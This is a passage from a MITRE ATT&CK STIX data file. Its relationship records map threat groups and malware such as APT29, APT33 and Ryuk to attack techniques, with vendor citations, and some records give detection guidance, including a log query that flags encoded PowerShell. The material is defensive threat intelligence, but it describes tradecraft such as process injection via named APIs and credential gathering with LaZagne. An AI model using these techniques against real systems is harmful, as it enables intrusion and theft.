"relationship--16d59476-9fff-413f-9dbe-5c9e43c3860d", "type": "relationship", "created": "2020-05-08T18:41:16.417Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Cloud Atlas December 2014", "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/", "description": "GReAT. (2014, December 10). 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Retrieved May 8, 2020."}], "modified": "2020-05-20T20:54:12.843Z", "description": "[Inception](https://attack.mitre.org/groups/G0100) has incorporated at least five different cloud service providers into their C2 infrastructure including CloudMe.(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Symantec Inception Framework March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--16d5d573-60bb-402c-88c3-2bc0af8388eb", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye CARBANAK June 2017", "description": "Bennett, J., Vengerik, B. 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(2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}], "modified": "2021-12-08T19:04:25.581Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has collected open source information to identify relationships between organizations for targeting purposes.(Citation: Gigamon Berserk Bear October 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--16d95f0d-fc05-4012-a1a0-35d7261b7f27", "type": "relationship", "created": "2021-11-29T20:08:31.007Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. 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Retrieved November 12, 2021."}], "modified": "2021-11-29T20:08:31.007Z", "description": "[Pandora](https://attack.mitre.org/software/S0664) can use DLL side-loading to execute malicious payloads.(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "malware--a545456a-f9a7-47ad-9ea6-8b017def38d1", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--16d9950c-e4fe-4488-9256-8e00a9b706a0", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). 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Retrieved May 8, 2020."}], "modified": "2020-05-12T15:18:44.161Z", "description": "[PowerShower](https://attack.mitre.org/software/S0441) has collected system information on the infected host.(Citation: Unit 42 Inception November 2018)", "relationship_type": "uses", "source_ref": "malware--53486bc7-7748-4716-8190-e4f1fde04c53", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17525c42-6859-4175-841c-272e85f68be9", "type": "relationship", "created": "2021-03-15T18:56:36.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Trickbot Oct 2020", "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", "description": "Boutin, J. (2020, October 12). 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Retrieved April 10, 2019."}, {"description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "source_name": "FireEye APT33 Guardrail"}], "modified": "2020-03-19T22:16:54.841Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", "description": "F-Secure Labs. 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(2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T18:44:31.299Z", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "malware--c113230f-f044-423b-af63-9b63c802f5ae", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1770cc28-c49c-4b70-b4d0-6976efaede16", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", "description": "Lunghi, D., et al. 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Retrieved July 10, 2018.", "source_name": "TrendMicro Patchwork Dec 2017"}], "modified": "2019-07-11T13:53:05.998Z", "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs.(Citation: TrendMicro Patchwork Dec 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--17738bdd-24b9-44d0-a897-d1b861fd2636", "created": "2022-04-06T14:01:49.558Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Symantec Palmerworm Sep 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", "description": "Threat Intelligence. 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Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has obtained and used tools such as Putty, SNScan, and [PsExec](https://attack.mitre.org/software/S0029) for its operations.(Citation: Symantec Palmerworm Sep 2020)", "modified": "2022-04-06T14:01:49.558Z", "relationship_type": "uses", "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--177950ec-8f25-4243-8d9d-a15e24ff7c98", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html", "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"}], "modified": "2020-03-16T17:59:40.299Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used FTP to exfiltrate collected data.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--177a2bb5-eca3-4c81-9dfe-81e5fecb38c3", "created": "2022-03-30T14:26:51.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T19:00:15.250Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. \n\nAnalytic 1 - Script Block Logging Events\n\n<code> (source=WinEventLog:\"Microsoft-Windows-PowerShell/Operational\" EventID=\"4104\u201d AND Image=\"powershell.exe\" AND (CommandLine=\"\\-enc*\" OR CommandLine=\"*-ep bypass*\" OR CommandLine=\"*-noni*\")<code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--177d06e3-7e2f-47a1-8bbf-18a4787af5c7", "created": "2023-03-26T18:05:36.521Z", "revoked": false, "external_references": [{"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}, {"source_name": "Symantec RAINDROP January 2021", "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T18:05:36.521Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used SSH port forwarding capabilities on public-facing systems, and configured at least one instance of [Cobalt Strike](https://attack.mitre.org/software/S0154) to use a network pipe over SMB.(Citation: CrowdStrike StellarParticle January 2022)(Citation: Symantec RAINDROP January 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--178116a9-6ac9-45c0-bc74-36fe9ba12686", "type": "relationship", "created": "2021-02-08T21:41:25.818Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Volatile Cedar March 2015", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}], "modified": "2021-02-08T21:41:25.818Z", "description": "[Explosive](https://attack.mitre.org/software/S0569) has a function to write itself to Registry values.(Citation: CheckPoint Volatile Cedar March 2015) ", "relationship_type": "uses", "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1782abeb-8d28-42a1-8abe-c137f23b282c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NorthSec 2015 GData Uroburos Tools", "description": "Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.", "url": "https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html"}, {"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}, {"source_name": "CISA ComRAT Oct 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}], "modified": "2020-12-09T23:26:09.059Z", "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used HTTP requests for command and control.(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)", "relationship_type": "uses", "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1784577e-9d82-497b-aba1-bc4d5a23d8f8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos NavRAT May 2018", "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", "url": "https://blog.talosintelligence.com/2018/05/navrat.html"}], "modified": "2020-03-17T00:32:00.539Z", "description": "[NavRAT](https://attack.mitre.org/software/S0247) writes multiple outputs to a TMP file using the >> method.(Citation: Talos NavRAT May 2018)", "relationship_type": "uses", "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--178dda13-999c-481f-8a1b-8dc062d7b0ff", "type": "relationship", "created": "2022-02-01T15:37:38.932Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky WIRTE November 2021", "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044", "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022."}], "modified": "2022-02-01T15:37:38.932Z", "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has attempted to lure users into opening malicious MS Word and Excel files to execute malicious payloads.(Citation: Kaspersky WIRTE November 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1790f5a1-b5d5-41a4-8da0-c75ed7a23b0d", "type": "relationship", "created": "2020-05-14T14:27:31.229Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Ryuk January 2019", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}], "modified": "2020-05-15T21:51:10.377Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used multiple native APIs including <code>ShellExecuteW</code> to run executables,<code>GetWindowsDirectoryW</code> to create folders, and <code>VirtualAlloc</code>, <code>WriteProcessMemory</code>, and <code>CreateRemoteThread</code> for process injection.(Citation: CrowdStrike Ryuk January 2019)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1793516c-a4dd-4726-9bb3-c3b2bbecc605", "created": "2022-07-14T17:41:18.406Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "BlackBerry Amadey 2020", "url": "https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot", "description": "Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Amadey](https://attack.mitre.org/software/S1025) has obfuscated strings such as antivirus vendor names, domains, files, and others.(Citation: BlackBerry Amadey 2020)", "modified": "2022-07-14T17:47:56.256Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--05318127-5962-444b-b900-a9dcfe0ff6e9", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--179502a9-cab0-4144-afd1-7be586362c2f", "type": "relationship", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.864Z", "description": "Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MDSec Detecting DOTNET", "description": "MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.", "url": "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/"}, {"source_name": "Introducing Donut", "description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.", "url": "https://thewover.github.io/Introducing-Donut/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--179538d1-5770-42ef-976f-c0fd65faa1ea", "type": "relationship", "created": "2020-06-08T18:06:36.319Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."}], "modified": "2020-06-08T18:06:36.319Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify hardware information, the computer name, and OS information on an infected host.(Citation: Kaspersky TajMahal April 2019)", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--179fbf03-5368-4c4b-a628-e2cf8b27c779", "type": "relationship", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.868Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may abuse legitimate extensible development features of servers to establish persistent access to systems. Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Alert TA15-314A Web Shells", "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17a2eeb2-2221-4292-b584-d39d19a6409f", "type": "relationship", "created": "2021-09-21T15:45:10.172Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}], "modified": "2021-10-07T18:46:08.859Z", "description": "[Turian](https://attack.mitre.org/software/S0647) can search for specific files and list directories.(Citation: ESET BackdoorDiplomacy Jun 2021)", "relationship_type": "uses", "source_ref": "malware--350f12cf-fd3b-4dad-b323-14b943090df4", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17a834a6-8d77-4fee-bd02-539d93f6fa5c", "type": "relationship", "created": "2020-11-13T19:19:40.937Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM Grandoreiro April 2020", "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}], "modified": "2020-11-13T19:31:02.784Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can write or modify browser shortcuts to enable launching of malicious browser extensions.(Citation: IBM Grandoreiro April 2020) ", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--17ac7d6e-828c-4b8c-84de-4e0575f1703a", "created": "2022-06-14T14:40:57.182Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kevin](https://attack.mitre.org/software/S1020) can hide the current window from the targeted user via the `ShowWindow` API function.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-14T14:40:57.182Z", "relationship_type": "uses", "source_ref": "malware--e7863f5d-cb6a-4f81-8804-0a635eec160a", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17ad59c0-1aff-490b-bb43-02e1d0292a87", "type": "relationship", "created": "2020-10-20T03:26:40.879Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:34:22.999Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17aef45b-9a3c-4192-af31-4a21300a90e0", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "source_name": "Unit 42 DarkHydrus July 2018"}, {"url": "https://pan-unit42.github.io/playbook_viewer/", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", "source_name": "Unit 42 Playbook Dec 2017"}], "modified": "2019-04-22T19:23:13.532Z", "description": "(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Playbook Dec 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--17af5c1a-7912-40af-b7b9-f68f0a15977d", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Securelist LuckyMouse June 2018", "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/"}, {"source_name": "Nccgroup Emissary Panda May 2018", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}], "object_marking_refs": 